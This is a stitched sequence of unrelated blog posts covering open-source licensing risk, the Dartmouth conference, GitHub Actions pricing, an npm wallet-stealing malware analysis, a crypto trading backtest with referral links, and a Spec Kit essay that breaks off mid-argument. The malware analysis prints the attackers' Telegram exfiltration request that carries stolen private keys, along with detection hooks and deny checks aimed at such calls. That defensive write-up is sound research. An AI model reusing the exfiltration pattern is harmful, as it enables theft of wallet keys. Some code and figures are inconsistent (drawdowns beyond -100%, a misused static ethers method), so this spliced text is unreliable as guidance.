Cockroach Labs pulled the same move in 2024, switching from Apache 2.0 to a proprietary license for their core product. Their enterprise features had always been proprietary, but the core distributed SQL engine was supposed to be the open part. The part you built on. The part your architecture depended on.

Then it wasn’t open anymore.

Companies that had chosen CockroachDB specifically because it was “the open source alternative to Google Spanner” discovered they’d built on the same trap. Different name, same playbook.

The Running Tally

Let me add this up. In just the last three years:

  • HashiCorp/Terraform: ~$600M industry re-tooling (Gartner estimate)
  • Redis relicensing: untold compliance and migration costs across millions of deployments
  • Elasticsearch to OpenSearch: $1-5M per large enterprise migration
  • CockroachDB: ongoing cost assessment for affected users
  • MongoDB SSPL fallout: still reverberating six years later

That’s billions of dollars in aggregate cost. For software that was free.

The Mechanism: How Free Becomes Expensive

Here’s what I didn’t understand for years. Open source isn’t charity. It’s a business model. And like all business models, it has a monetization lifecycle. Once you see the pattern, you can’t unsee it.

Stage 1: The Gift

A company releases software under a permissive license. MIT. Apache 2.0. BSD. The message: “Use this for anything. No strings attached.” Adoption explodes. The project gets traction, stars, contributors. Blog posts get written. Conference talks get given. Developers start building on it — not just using it, but depending on it. Architecturally. Structurally. In ways that would be extremely painful to reverse.

This stage isn’t cynical. The founders usually mean it. They genuinely want adoption. They genuinely believe in open source. But they also have investors. And investors have timelines.

Stage 2: The Moat

The project becomes infrastructure. Not a library you can swap out in an afternoon, but a foundational dependency. Your data lives in it. Your workflows assume it. Your team’s expertise is built around it. Switching costs compound silently, like interest on debt you didn’t know you had.

This is the critical phase. The software is still free. You’re not paying anything. But you’re accumulating switching costs every single day. Every Terraform module you write. Every Redis data structure you design around. Every Elasticsearch query pattern your application assumes. Each one is a deposit into an account you can never withdraw from.

Stage 3: The Squeeze

The company needs revenue. Or the company needs to justify its valuation to investors. Or the company is preparing for acquisition. The license changes. Not to something wildly restrictive — just restrictive enough to capture the value that’s been accumulating in all those switching costs.

The calculation is simple: if it costs you $2M to migrate away, they can charge you up to $1.9M and you’ll pay. You’ll complain. You’ll write angry blog posts. But you’ll pay. Because $1.9M is less than $2M.

Stage 4: The Fork

The community forks. OpenTofu. Valkey. OpenSearch. The fork is real, it works, and it’s maintained. But forking doesn’t eliminate the cost — it redistributes it. You still have to evaluate, migrate, test, and maintain. The fork is a pressure valve, not a solution.

And here’s the part nobody talks about: forks have survival risk. They depend on sustained community investment. If the original company has $6 billion in IBM acquisition money behind it, and the fork has volunteer maintainers and Linux Foundation goodwill — which one is going to have better security patches in five years?

I don’t know. Neither do you. That uncertainty is itself a cost.

The Pattern: Which Projects Are Traps

Not all open source is created equal. After watching this cycle play out half a dozen times, I’ve started classifying projects by their rug-pull risk. Here’s my framework.

High Risk: Single-Company Open Source

One company controls the project. One company employs the core maintainers. One company owns the trademark. One company decides the license.

Examples: Terraform (HashiCorp), Redis (Redis Inc), Elasticsearch (Elastic), MongoDB (MongoDB Inc), CockroachDB (Cockroach Labs), Confluent’s Kafka distribution.

The tell: look at the contributor graph. If 80%+ of commits come from employees of one company, you’re not using community software. You’re using a company’s product that happens to have its source code visible. There’s a massive difference.

Medium Risk: Foundation-Governed but Corporate-Dominated

The project lives under a foundation (Apache, Linux Foundation, CNCF), but one company contributes the majority of the code.

Examples: Kubernetes (Google-originated, now broadly contributed), Chromium (Google-dominated), Android (Google-controlled in practice).

The foundation provides some protection against license changes. But it doesn’t protect against other forms of control: API direction, feature priorities, deprecation schedules. Google can’t change Kubernetes’ license. But Google can absolutely influence where Kubernetes goes — and where it doesn’t go.

Lower Risk: Broadly-Contributed Foundation Projects

Multiple companies contribute meaningfully. No single company could fork and dominate. The project’s governance is genuinely distributed.

Examples: Linux kernel, PostgreSQL, Apache HTTP Server, Python, Node.js.

These projects are safer because the cost of a rug pull would be borne by the puller as much as the users. No single company can change PostgreSQL’s license because no single company controls PostgreSQL. The BSD license is baked into the project’s DNA, enforced by distributed governance rather than corporate goodwill.

This is the category where open source actually delivers on its promise. Notice how small this category is compared to the others.

The Hidden Tax: “Community” Maintenance

There’s another cost that doesn’t show up in any license comparison. I call it the community maintenance tax.

When you use a commercial product and something breaks, you open a support ticket. Someone whose job it is to help you will help you. When you use open source and something breaks, you open a GitHub issue. Maybe someone responds. Maybe they don’t. Maybe the response is “PRs welcome” — which is open source for “fix it yourself.”

I tracked my team’s time on open source maintenance over one quarter last year. Debugging issues that would have been support tickets with a commercial product. Reading source code to understand undocumented behavior. Patching vulnerabilities before official releases. Working around bugs that were “known issues” for months.

The total: roughly 15% of one senior engineer’s time. At fully loaded cost, that’s about $45K/year. For one project. We use dozens of open source dependencies.

This isn’t a criticism of open source maintainers. They’re doing incredible work, usually for free, usually in their spare time. That’s the problem. The reliability of your production infrastructure depends on someone else’s spare time. That’s a risk you’re not pricing in.

For Builders: The Dependency Evaluation Framework

After getting burned enough times, I built a checklist. Before adopting any open source dependency for anything beyond a toy project, I run through these questions:

1. Who pays the maintainers?

If the answer is “a single company,” that company controls your dependency. Their incentives will eventually diverge from yours. Not might. Will.

If the answer is “nobody, they’re volunteers,” your critical infrastructure depends on goodwill. That’s not a business strategy.

If the answer is “multiple companies through a foundation,” you’re in the safest category. But verify. Look at the actual contributor data, not the governance page.

2. What are my switching costs today? In six months? In two years?

Map it out. How deeply integrated is this dependency? How much institutional knowledge is built around it? How many other systems depend on it? If you can’t swap it out in under a week, you’re already locked in. Act accordingly.

3. Has the license ever changed?

If yes, it will change again. The first change breaks the seal. Companies that change licenses once have demonstrated their willingness to do so. Treat the current license as temporary.

4. What’s the company’s financial trajectory?

Pre-IPO companies with VC pressure will monetize. Post-acquisition companies will monetize. Companies that just raised a down round will monetize aggressively. The license change doesn’t come from malice. It comes from a board meeting.

5. Is there a credible fork or alternative?

If the project gets rug-pulled tomorrow, where do you go? If the answer is “I don’t know,” you’ve identified a single point of failure in your architecture. Fix it before you have to fix it under pressure.

6. What’s the total cost of ownership — not just the license fee?

Add up: engineering time for maintenance, security patching, version upgrades, debugging undocumented behavior, training new team members, compliance review. Compare that to the cost of a commercial alternative. I’ve done this math multiple times now. Open source is often more expensive. Not always. But more often than most people admit.

What This Means for Your Stack

I’m not arguing against open source. I’m arguing against the default assumption that open source is always the cheaper choice. It’s not. It’s the choice with the most hidden costs.

Here’s how I make decisions now:

For foundational infrastructure: use broadly-contributed foundation projects (PostgreSQL over MongoDB, Linux over proprietary OS, Kubernetes with multi-vendor support). These have the lowest rug-pull risk and the highest long-term stability.

For application-level dependencies: evaluate commercial alternatives seriously. A $500/month SaaS bill with an SLA, support team, and contractual obligation is often cheaper than a “free” open source project that costs you $45K/year in maintenance time and carries license-change risk.

For single-company open source: use it with your eyes open. Budget for the migration you’ll eventually need. Architect for replaceability. Abstract your interfaces. Don’t let convenience today become captivity tomorrow.

For anything touching security or compliance: pay for software with a vendor behind it. When a CVE drops at 2 AM and your open source maintainer is asleep in a different timezone, you’ll wish you had a support contract.

The Action List

If you take nothing else from this, take these five actions:

  1. Audit your dependencies this week. List every open source project in your stack. Mark each one as single-company, corporate-foundation, or broadly-contributed. The single-company ones are your risk exposure.

  2. Calculate your switching costs. For each high-risk dependency, estimate the cost to replace it. Time, money, institutional knowledge. If the number makes you uncomfortable, that’s the point.

  3. Abstract your interfaces. Don’t call Terraform directly from 200 scripts. Wrap it. Don’t embed Redis commands throughout your codebase. Use an abstraction layer. The hour you spend on the wrapper today saves you months when the license changes.

  4. Set up license monitoring. Tools like FOSSA, Snyk, and WhiteSource track license changes in your dependency tree. If a transitive dependency switches from MIT to SSPL, you want to know before your legal team finds out the hard way.

  5. Budget for migration. If you depend on single-company open source, put a line item in your annual budget for potential migration. Not because it will definitely happen this year. Because when it does happen, you won’t have time to find the budget.

The Real Lesson

The most expensive software I’ve ever used was free. Not because open source is bad — it’s one of the most important movements in technology. But because I confused “no license fee” with “no cost.” Those are wildly different things.

The companies making these license changes aren’t villains. They’re businesses doing what businesses do: capturing value. The mistake isn’t theirs. The mistake is ours — for building on foundations we don’t control and being surprised when the ground shifts.

Every dependency is a bet. Open source dependencies are bets with hidden odds. The license is permissive today. The community is vibrant today. The company is generous today.

Today is not forever.

Price your dependencies accordingly.

I write about the hidden costs and counterintuitive mechanics of the tools we build with. If this saved you from an expensive mistake, follow @CounterIntEng on X.

The Dartmouth Conference, 1956: The Summer AI Was Born

The Dartmouth Conference, 1956: The Summer AI Was Born

Hanover, New Hampshire — A Setting for History

Imagine it: Summer, 1956. The Dartmouth College campus, nestled in the tranquil Connecticut River Valley, quietly hums with the energy of ideas. Brick and white wood buildings radiate an old-school confidence—a sense that big thinking is not just encouraged, but expected.

That summer, ten young researchers gathered in one of those buildings. They were mathematicians, psychologists, computer scientists, and engineers. Most were still in their twenties or thirties, just starting out, but they would go on to shape a whole new discipline. They debated fiercely, collaborated, sometimes talked past one another. They didn’t crack the code of artificial intelligence right then and there. They didn’t invent the AI we know today.

But they did something bigger: they gave the quest for machine intelligence a name. And that name, “artificial intelligence,” became the rallying point for decades of innovation, research, and debate.

If you work in AI, write about it, or just tinker with machine learning models for fun, you owe something to the moment when this field was named. Let’s dig into how that happened, what the world looked like before, and why naming a field can be more revolutionary than any single breakthrough.

Before the Name: A Patchwork of Ideas

The early 1950s were wild for anyone interested in intelligent machines. The pieces of the puzzle were scattered across disciplines:

  • Turing’s Challenge: Alan Turing had already posed the famous question, “Can machines think?” His 1950 paper introduced the Turing Test, inviting computer scientists to wrestle with ideas about machine intelligence.
  • Cybernetics: Norbert Wiener offered a framework for understanding communication and control, bridging the gap between biology and electronics.
  • Information Theory: Claude Shannon’s work gave researchers a new mathematical language for talking about data and signals.
  • Early Computers: ENIAC and EDVAC had arrived, hulking machines that promised new computational power—if you could afford them.

There were also early neural network experiments:

  • McCulloch & Pitts: In 1943, they showed that networks of simple artificial neurons could compute logical functions.
  • Donald Hebb: His learning rule suggested that connections between neurons could strengthen through use, offering a possible mechanism for machine learning.

But here’s the thing: these threads weren’t woven together. Researchers interested in neural networks didn’t necessarily read papers on game-playing algorithms. Those pondering logic and reasoning were in different academic departments from those thinking about machine perception. No unified vocabulary, no central problems, no shared sense of direction.

And crucially: no name. Without a name, there was no field. No community. No way to call a conference, attract students, or secure funding.

Naming is more than semantics—it’s how you create an intellectual home. And that’s exactly what happened at Dartmouth.

John McCarthy: Sparking a Movement

John McCarthy, a 28-year-old math instructor at Dartmouth, was the driving force behind this naming event.

He wasn’t just interested in philosophical debates about whether machines could think. He wanted to build them. He believed that intelligent behavior could be explained as information processing, and that the procedures behind human reasoning could be made explicit—and coded.

But the field he wanted didn’t exist. Researchers were scattered, unaware of each other, working in isolation. McCarthy’s solution? Bring them together, give the effort a name, and see what happens.

He teamed up with three remarkable co-organizers:

  • Marvin Minsky: A young mathematician and neuroscientist, who would later become a major AI figure.
  • Nathaniel Rochester: Lead designer of the IBM 701, one of the era’s most powerful computers.
  • Claude Shannon: The information theory legend, already one of the most celebrated American scientists.

With these names, McCarthy’s proposal had real weight. He wrote the invitation in 1955, staking out not just a conference, but a vision.

The Proposal: Naming and Claiming the Field

The proposal was titled “A Proposal for the Dartmouth Summer Research Project on Artificial Intelligence.” It was sent to the Rockefeller Foundation, seeking funds for the summer gathering.

It wasn’t just blue-sky speculation—it listed concrete topics:

  • Automatic computers
  • Programming computers to use language
  • Neural networks
  • The theory of computation size
  • Self-improvement
  • Abstraction
  • Randomness and creativity

But the phrase that echoed through history was this:

“We propose that a 2-month, 10-man study of artificial intelligence be carried out during the summer of 1956 at Dartmouth College in Hanover, New Hampshire. The study is to proceed on the basis of the conjecture that every aspect of learning or any other feature of intelligence can in principle be so precisely described that a machine can be made to simulate it.”

That’s the first appearance of “artificial intelligence” as the name of a field. McCarthy had considered other names—“automata studies” felt too narrow, “complex information processing” too vague, “cybernetics” was already taken. “Artificial intelligence” was direct, ambitious, and clear.

The central conjecture—that every feature of intelligence could be described precisely enough for a machine to simulate it—was bold. It wasn’t universally accepted then, and it isn’t now. Many argue that human intelligence includes aspects that resist formalization: intuition, emotion, embodied experience. But McCarthy wasn’t writing philosophy; he was making a practical bet, and launching a field.

The Rockefeller Foundation funded the project with $7,500—modest, but enough.

The Attendees: A Gathering of Visionaries

The ten researchers on the invitation list were an all-star lineup of emerging talent, each already working on projects that would help define AI.

Let’s meet a few:

  • John McCarthy: He would soon invent LISP (published in 1958), a programming language tailored for symbolic manipulation and AI research. LISP would dominate AI programming for decades and influence many languages you use today.
  • Marvin Minsky: Had already built one of the earliest neural network machines (SNARC, in 1951). He would later co-found MIT’s AI Lab and publish major works on AI and cognitive science.
  • Nathaniel Rochester: Attempted to simulate a neural network on the IBM 701 before the conference—an experiment that didn’t pan out, but the effort was notable.
  • Claude Shannon: Having invented information theory, he provided the mathematical backbone for modern computing and AI.

Others included:

  • Ray Solomonoff: Creator of algorithmic information theory.
  • Oliver Selfridge: Pioneer in pattern recognition.
  • Allen Newell & Herbert Simon: Working on the Logic Theorist, a program that could prove mathematical theorems—a precursor to today’s automated reasoning systems.

These researchers didn’t all agree. They had different approaches, priorities, and technical backgrounds. Some were more interested in neural networks; others focused on symbolic reasoning. But in that room, for the first time, they began to see themselves as part of a single field.

The Conference: Arguments, Collaboration, and Foundations

The conference itself was messy, energetic, and sometimes frustrating. Attendance shifted—some stayed for the full two months, others dropped in and out. There were heated debates about what counted as “intelligence,” about how to approach learning, language, and reasoning.

Not everything went smoothly:

  • Some projects fizzled.
  • Some arguments turned circular.
  • Nobody left Hanover with a working AI system.

But more importantly, the group established a shared vocabulary, a set of problems, and a sense of community. They started to see themselves as “AI researchers,” not just mathematicians or psychologists dabbling in new territory.

This is the foundation of a field. It’s how you move from scattered efforts to collective progress.

Conclusion: Why Naming Matters—and Why Dartmouth Still Resonates

The Dartmouth Conference didn’t produce a breakthrough algorithm. It didn’t solve AI. But it did something more profound: it named the field, built a community, and set the agenda.

For developers today, that matters. Every time you import an AI library, train a model, or read a paper on machine learning, you’re participating in a tradition that started with a group of young researchers willing to stake a claim. They gave us a name. That name is why AI is a field, not just a collection of isolated ideas.

So next time you’re debugging your neural net, remember: the journey started in a quiet corner of New Hampshire, with a handful of people who decided to organize, argue, and name the future.

GitHub Actions Changed Pricing in 2026 — Here’s Exactly What You’re Paying Now

In January 2026, GitHub updated their Actions runner pricing. Most teams didn’t notice. Here’s exactly what changed and how to calculate your new bill.

2026 Pricing Table

  • Ubuntu: $0.006/min (was $0.008 — 25% cheaper)
  • Windows: $0.010/min (was $0.016 — 37.5% cheaper)
  • macOS: $0.048/min (was $0.080 — 40% cheaper)

Good news — prices dropped.

Bad news — macOS still costs 8× more than Ubuntu. Most teams don’t realize this until month-end.

The macOS Trap

  • 10-minute macOS job: $0.048 × 10 = $0.48 per run
  • 10-minute Ubuntu job: $0.006 × 10 = $0.06 per run

20 pushes/day:

  • macOS → $9.60/day → $288/month
  • Ubuntu → $1.20/day → $36/month

Same test output. $252/month difference.

5 Ways to Reduce Your Bill

  1. Switch lint/typecheck jobs to Ubuntu — identical output, 8× cheaper
  2. Use path filters — skip CI on docs-only commits
  3. Cache node_modules, pip packages aggressively
  4. Run tests in matrix parallel — same cost, faster
  5. Only use macOS when you genuinely need Apple frameworks

Free Calculator

Paste your YAML → see exact monthly cost:

githubactionscost.online/github-actions-cost-calculator

No signup. Runs in browser. 2026 pricing.

Supply Chain Key Theft in npm: How 5 Typosquatted Packages Silently Drain Solana and Ethereum Wallets — And a 7-Step Defense Playbook

TL;DR

On March 24, 2026, Socket’s Threat Research Team disclosed five malicious npm packages — raydium-bs58, base-x-64, base_xd, bs58-basic, and ethersproject-wallet — all published under the account galedonovan. Each package typosquats a legitimate crypto library, hooks the exact function where developers pass private keys, and silently exfiltrates them to a Telegram bot before returning the expected result. No errors. No side effects. Your code works perfectly while your keys vanish.

This article breaks down exactly how the attack works, why traditional security tooling misses it, and a concrete 7-step defense playbook every Solana and Ethereum developer should implement today.

The Attack: Invisible Key Interception

Solana Side (4 packages)

Four packages — raydium-bs58, base-x-64, bs58-basic, and base_xd — target Solana developers by intercepting Base58.decode() calls. This is the standard pattern for loading a keypair:

// This looks normal, but if bs58 is a typosquat...
const keypair = Keypair.fromSecretKey(bs58.decode("4wBqpZ..."));

The malicious decode() wrapper calls sendMessage() to a Telegram bot before calling the real bs58.decode(). The function returns the correct result. No error is thrown. Your tests pass. Your deployment works. Meanwhile, your private key is already in the attacker’s Telegram group.

Ethereum Side (1 package)

ethersproject-wallet targets the Wallet constructor:

// Intercepted at construction time
const wallet = new Wallet("0xac0974bec39a17e36ba...");

Same pattern — the key is POSTed to Telegram, then the real constructor runs.

The C2 Infrastructure

All five packages exfiltrate to the same endpoint:

POST https://api.telegram.org/bot<TOKEN>/sendMessage
{"chat_id": "-4690814032", "text": "<STOLEN_KEY>"}

No staging servers. No domains to take down. Just a Telegram bot and a 2-member group. The threat actor left development comments in the raydium-bs58 source — including the group invite link — that led directly to their Telegram identity. Amateur operational security, but the attack itself is effective.

Why It Works

  1. No visible behavior change: The wrapped function returns the correct result
  2. No install-time hooks: No postinstall script that lockfile audits would flag
  3. Runtime-only exfiltration: The theft happens when your code calls decode() or new Wallet()
  4. Global fetch() dependency: Requires Node.js 18+ (silently fails on older runtimes — a natural filter for modern projects)
  5. Copied READMEs: The packages use documentation from the real libraries, making them look legitimate at a glance

Why Standard Security Tooling Misses This

Tool What It Catches Why It Misses This
npm audit Known CVEs in real packages Typosquats aren’t in the advisory DB
Lockfile review Changed dependency hashes Hash is “correct” for the malicious package
postinstall blockers Install-time scripts No install hooks used
SAST (Semgrep, etc.) Patterns in your code The malicious code is in node_modules
Dependabot / Renovate Out-of-date real packages The fake package is the latest version

The gap is clear: most tools assume packages with correct names are trustworthy, and most don’t deeply analyze runtime behavior of dependencies.

The 7-Step Defense Playbook

1. Pin Exact Package Names in a Lockdown File

Create a project-level allowlist of permitted crypto packages:

// .package-allowlist.json
{
  "crypto-packages": [
    "bs58",
    "base-x",
    "@ethersproject/wallet",
    "@solana/web3.js",
    "@coral-xyz/anchor",
    "ethers"
  ]
}

Add a CI check that greps package.json for any crypto-adjacent package not in the allowlist:

#!/bin/bash
# check-deps.sh — flag suspicious crypto packages
SUSPECT=$(jq -r '.dependencies + .devDependencies | keys[]' package.json 
  | grep -iE 'bs58|base.?x|ethers|solana|raydium|wallet' 
  | grep -vFf .package-allowlist.json)

if [ -n "$SUSPECT" ]; then
  echo "⚠️  Unrecognized crypto packages detected:"
  echo "$SUSPECT"
  exit 1
fi

2. Use Socket.dev or Snyk for Supply Chain Analysis

Socket’s scanner specifically flags:

  • Obfuscated code in published packages
  • Network calls from library code
  • Typosquat name similarity scoring

Add it to your CI pipeline:

# .github/workflows/supply-chain.yml
- name: Socket Security Check
  uses: SocketDev/socket-security-action@v1
  with:
    enable_ai: true

3. Never Pass Raw Private Keys Through Library Functions

The attack works because developers pass private key strings directly through bs58.decode(). Instead:

// ❌ Vulnerable pattern
const keypair = Keypair.fromSecretKey(bs58.decode(process.env.PRIVATE_KEY));

// ✅ Safer: load from file, decode in a controlled context
import { readFileSync } from 'fs';
const keyBytes = new Uint8Array(
  JSON.parse(readFileSync('/path/to/keypair.json', 'utf8'))
);
const keypair = Keypair.fromSecretKey(keyBytes);

For Ethereum:

// ❌ Vulnerable pattern
const wallet = new ethers.Wallet(privateKeyHex);

// ✅ Use a signer abstraction (hardware wallet, KMS, or vault)
const provider = new ethers.JsonRpcProvider(rpcUrl);
const wallet = new ethers.Wallet.fromEncryptedJson(keystoreJson, password);

The principle: minimize the code paths where raw key material flows through third-party libraries.

4. Monitor Outbound Network Calls from Node.js

Use network inspection to detect unexpected calls:

// test/network-monitor.js — drop this into your test suite
import { createHook } from 'async_hooks';

const connections = [];
createHook({
  init(asyncId, type) {
    if (type === 'TCPCONNECTWRAP') {
      connections.push({ asyncId, stack: new Error().stack });
    }
  }
}).enable();

process.on('exit', () => {
  const suspicious = connections.filter(c =>
    c.stack.includes('node_modules') &&
    (c.stack.includes('telegram') ||
     c.stack.includes('discord') ||
     c.stack.includes('webhook'))
  );
  if (suspicious.length > 0) {
    console.error('⚠️  Suspicious outbound connections:', suspicious);
    process.exit(1);
  }
});

5. Audit New Dependencies Before Installing

Before running npm install <package>:

# Check package age and publisher
npm view <package> time --json | jq '.created'
npm view <package> maintainers

# Compare to the legitimate package
diff <(npm view bs58 readme) <(npm view bs58-basic readme)

# Check download counts
npm view <package> --json | jq '.versions | length'

Red flags:

  • Package created in the last 30 days
  • Single maintainer with no other packages
  • README copied from a well-known package
  • Name is a slight variation of a popular library

6. Use npm query to Find Shadowed Packages

npm v8.16+ includes npm query, which can find dependency anomalies:

# Find all packages with postinstall scripts
npm query ':attr(scripts, [postinstall])'

# Find packages not from expected scopes
npm query ':not(:scope(@solana, @coral-xyz, @ethersproject))' 
  | jq '.[].name' | grep -iE 'solana|eth|wallet|bs58'

7. Rotate Keys Immediately If Exposed

If you discover any of these packages in your dependency tree:

  1. Assume all keys used in that environment are compromised
  2. Transfer funds to new wallets immediately
  3. Rotate all API keys, RPC endpoints, and service credentials
  4. Check transaction history for unauthorized transfers
  5. Run npm ls to find the full dependency chain

Indicators of Compromise

Package Version Notes
raydium-bs58 1.9.7 Unobfuscated, leaked C2 invite link
base-x-64 0.0.6 Obfuscated CJS payload
bs58-basic 0.0.1 Same C2 infrastructure
ethersproject-wallet 0.0.1 Hooks Wallet constructor
base_xd (unpublished) Identical to base-x-64

The Bigger Picture

This campaign is unsophisticated — hardcoded Telegram tokens, leaked invite links, copied READMEs. But it represents an escalating pattern in crypto supply chain attacks:

  • December 2024: @solana/web3.js itself was compromised via a supply chain attack
  • March 2026: The Trivy supply chain compromise searched for Solana wallet variables
  • March 2026: This typosquatting campaign targets the exact moment developers handle keys

The attack surface isn’t your smart contracts. It’s your package.json. And unlike contract exploits, there’s no on-chain audit trail until the funds are already gone.

Key Takeaways

  1. Typosquatting is the new phishing — it targets developers at the moment of maximum trust
  2. Runtime exfiltration bypasses most security tools — malicious behavior only triggers at runtime
  3. Crypto libraries are high-value targets — they routinely handle raw private keys
  4. Defense is about process, not just tools — allowlists and key handling hygiene matter most
  5. Assume compromise, plan for rotation — if a suspicious package touches your keys, rotate everything

Audit your dependencies today.

Based on Socket.dev’s disclosure from March 24, 2026. Original research by Kush Pandya at Socket’s Threat Research Team.

I Backtested 49 Crypto Trading Strategies. Here’s Every Single Result.

I wanted to build a trading bot. But before writing any live trading code, I needed to answer one question: which strategy actually works?

The internet is full of opinions. “EMA crossover is the best.” “RSI works great.” “Bollinger Bands are underrated.” Nobody shows their data.

So I built a backtesting engine in Python, implemented 49 strategies, and ran all of them against 3 years of BTC/USDT daily data. Every result is in this post — Sharpe ratio, max drawdown, win rate, number of trades. No cherry-picking.

Test Conditions

Parameter Value
Pair BTC/USDT
Period Jan 2023 – Feb 2026 (~37 months)
Timeframe Daily (1d)
Initial Capital $10,000
Commission 0.1% per trade
Slippage 0.05%
Data Source Binance API

Important context: BTC went from ~$16,500 to $97,000+ during this period. This is a strong bull run. Trend-following strategies had a massive tailwind. Keep that in mind when reading the numbers.

The Full Results Table

39 out of 49 strategies produced valid results. Sorted by Sharpe ratio.

# Strategy Sharpe Return MaxDD Win% Trades PF
1 multi_timeframe 1.50 546% -32% 100% 2 ∞
2 ema_crossover 1.30 491% -34% 35% 34 1.73
3 parabolic_sar 1.25 456% -37% 36% 94 1.09
4 triple_ma 1.25 502% -39% 35% 20 1.45
5 macd 1.17 428% -33% 36% 84 1.00
6 macd_histogram 1.17 428% -33% 36% 84 1.00
7 atr_trailing_stop 1.11 275% -49% 100% 1 ∞
8 momentum 1.07 283% -32% 36% 135 1.46
9 multi_factor 1.07 352% -42% 40% 87 0.72
10 donchian_breakout 1.06 320% -37% 34% 32 0.73
11 swing_trading 1.03 311% -42% 36% 28 1.21
12 sma_crossover 0.99 330% -38% 27% 45 0.96
13 breakout_confirmation 0.94 319% -36% 46% 11 1.23
14 obv 0.93 214% -36% 25% 149 0.86
15 adx_trend_follow 0.89 440% -51% 33% 54 0.71
16 keltner_channel 0.85 257% -36% 33% 18 0.84
17 golden_death_cross 0.80 343% -52% 43% 7 0.95
18 rsi 0.80 358% -71% 74% 27 1.15
19 vwap 0.79 322% -80% 50% 22 1.64
20 rsi_divergence 0.78 361% -82% 55% 29 0.47
21 candlestick_patterns 0.77 163% -50% 38% 74 1.05
22 stochastic 0.71 183% -79% 54% 26 0.59
23 volume_profile 0.70 140% -52% 25% 67 1.25
24 adx_ma_combo 0.70 528% -82% 25% 16 0.86
25 pivot_point 0.69 150% -49% 52% 210 0.69
26 grid_trading 0.66 140% -75% 67% 54 0.81
27 cci 0.65 156% -77% 64% 44 0.89
28 support_resistance 0.65 140% -68% 58% 76 0.69
29 pair_trading 0.60 128% -54% 57% 14 0.60
30 bollinger_squeeze 0.54 175% -82% 35% 26 0.46
31-39 (various) <0.2 — — — — —

Strategies 31-39 either produced zero trades (range_trading, statistical_arbitrage), negative Sharpe ratios (mean reversion strategies), or errored out (cointegration).

The 6 ML strategies (XGBoost, LSTM, reinforcement learning) generated zero trades. Daily OHLCV data for 3 years simply isn’t enough for ML models to find meaningful patterns.

What the Numbers Actually Say

Trend-following dominates

9 out of the top 11 strategies are trend-following. Moving average crossovers, breakouts, momentum — strategies that ride trends and cut losses.

This makes sense given the data. BTC went 6x during the test period. Anything that buys uptrends and holds them would do well. The question is whether this continues in a bear market. (Spoiler: it won’t.)

35% win rate is fine

Every top trend-following strategy has a win rate around 35%. That means 6-7 out of every 10 trades lose money. But the winners are 3-4x larger than the losers, so the math works out.

Meanwhile, strategies with 70%+ win rates (RSI, Bollinger mean reversion) have max drawdowns of -70% to -155%. High win rate ≠ good strategy. What matters is the ratio of average win to average loss.

The #1 strategy is fake

multi_timeframe sits at the top with Sharpe 1.50. Looks amazing. But it only made 2 trades in 37 months. Two. That’s not a strategy — that’s a coincidence. The parameters happened to catch two lucky swings.

Any strategy with fewer than 30 trades is statistically unreliable. I’d want 50+ trades before trusting a backtest result.

Trades Verdict
1-5 Meaningless
6-20 Suspicious
20-30 Borderline
30+ Minimum acceptable
50+ Statistically sound

Mean reversion gets destroyed

Every mean reversion strategy (Bollinger Bands, z-score, Bollinger mean reversion) produced negative Sharpe ratios with drawdowns exceeding -100%. In a strong trend, buying dips means buying against the market — and the market kept going.

These strategies might work in a ranging market. But you won’t know it’s a ranging market until after the fact.

The Strategy I Actually Use

I went with ema_crossover for live trading. Not because it’s the best on paper, but because:

  1. Sharpe 1.30 — second overall, first among strategies with meaningful trade counts
  2. 34 trades — enough to have some statistical confidence
  3. Only 2 parameters (fast=12, slow=26) — fewer knobs to overfit
  4. Simple to understand — if the short-term average crosses above the long-term average, buy. If it crosses below, sell. No black box.

I’ve been running it live with real money ($33) on MEXC for 3 months. Results so far: 2 trades, roughly breakeven. The backtest says 491% over 3 years, but in practice, you can go months without a signal on daily timeframes.

(That’s a referral link. Signing up is free and supports this project.)

Multi-Pair Results

I also ran the top strategies against ETH/USDT and SOL/USDT.

Pair Strategy Sharpe Return MaxDD Trades
BTC/USDT ema_crossover 1.30 491% -34% 34
SOL/USDT ema_crossover 1.35 1,271% -58% 34
ETH/USDT ema_crossover 0.87 197% -64% 38
SOL/USDT triple_ma 1.44 2,150% -56% 24

SOL was the runaway winner — 1,271% return with ema_crossover alone. SOL went from $8 post-FTX collapse to $200+ in 2024. Any trend-following strategy would have caught that.

ETH underperformed across all strategies (Sharpe < 1.0 everywhere). Too correlated with BTC (0.80) to add diversification value, but not trending as strongly independently.

What Backtests Don’t Tell You

This entire post is about past performance. Here’s what the numbers can’t capture:

  • Regime changes: a strategy that works in a bull market may fail in a bear market
  • Execution reality: slippage, order book depth, and API latency in live trading
  • Multiple comparison bias: test 39 strategies and some will look good by chance
  • Survivorship bias: I only tested strategies I could find and implement. The space of possible strategies is infinite
  • Your starting point matters: the same strategy produces very different experiences depending on when you start

My $33 account running ema_crossover hasn’t made money yet. The backtest says 491% over 3 years. Both of those statements are true simultaneously.

Run It Yourself

The backtesting engine is open source:

# GitHub repository coming soon
cd crypto-backtest-engine
python -m venv .venv
source .venv/bin/activate
pip install -e ".[dev]"

python scripts/run_backtest.py --strategy ema_crossover --symbol BTCUSDT --timeframe 1d

You’ll need an exchange account for live data. I use MEXC for testing — zero maker fees and low minimum trade amounts make it practical for small-budget experiments.

The Honest Takeaway

49 strategies. 3 years of data. One clear conclusion: simple trend-following beats everything else, but only when there’s a trend.

The next 3 years might look completely different. Build a circuit breaker, start small, and don’t trust any backtest number — including the ones in this post.

This is a technical analysis of backtesting results, not financial advice. Past performance does not guarantee future results. Only trade with money you can afford to lose. This post contains a referral link.

GitHub Spec Kit Is 80% Right — Here’s the Missing 20% That Would Make It Transformative

I Love Spec Kit. And That’s Why I Want to Push It Further.

GitHub’s Spec Kit is, in my assessment, the most intellectually honest attempt at AI-driven development to date. While most tools focus on faster code generation, Spec Kit asks a more fundamental question:

What if intent — not code — was the source of truth?

This is exactly the right question. The Constitution → Specify → Plan → Tasks → Implement workflow is well-designed. The steerable gates where humans can intervene are smart. The 25+ agent support (Claude Code, Copilot, Gemini CLI, Cursor, etc.) shows pragmatic thinking about ecosystem diversity. The 40+ community extensions demonstrate real traction.

I’ve been working on a formal specification-driven development framework that starts from the same premise — specifications should drive development, not the other way around. But after months of research and implementation, I believe Spec Kit has a structural gap that, if filled, would make it dramatically more powerful.

That gap is formal verifiability of specifications themselves.

The Problem: Structured Ambiguity

Spec Kit specifications are written in structured Markdown. This is a massive improvement over the alternatives:

  • MetaGPT passes natural language PRDs between agents → ambiguity accumulates at each handoff
  • ChatDev relies on dialogue-based consensus → non-deterministic and non-reproducible
  • Devin/SWE-Agent infers specs from code → circular reasoning (code is the spec)

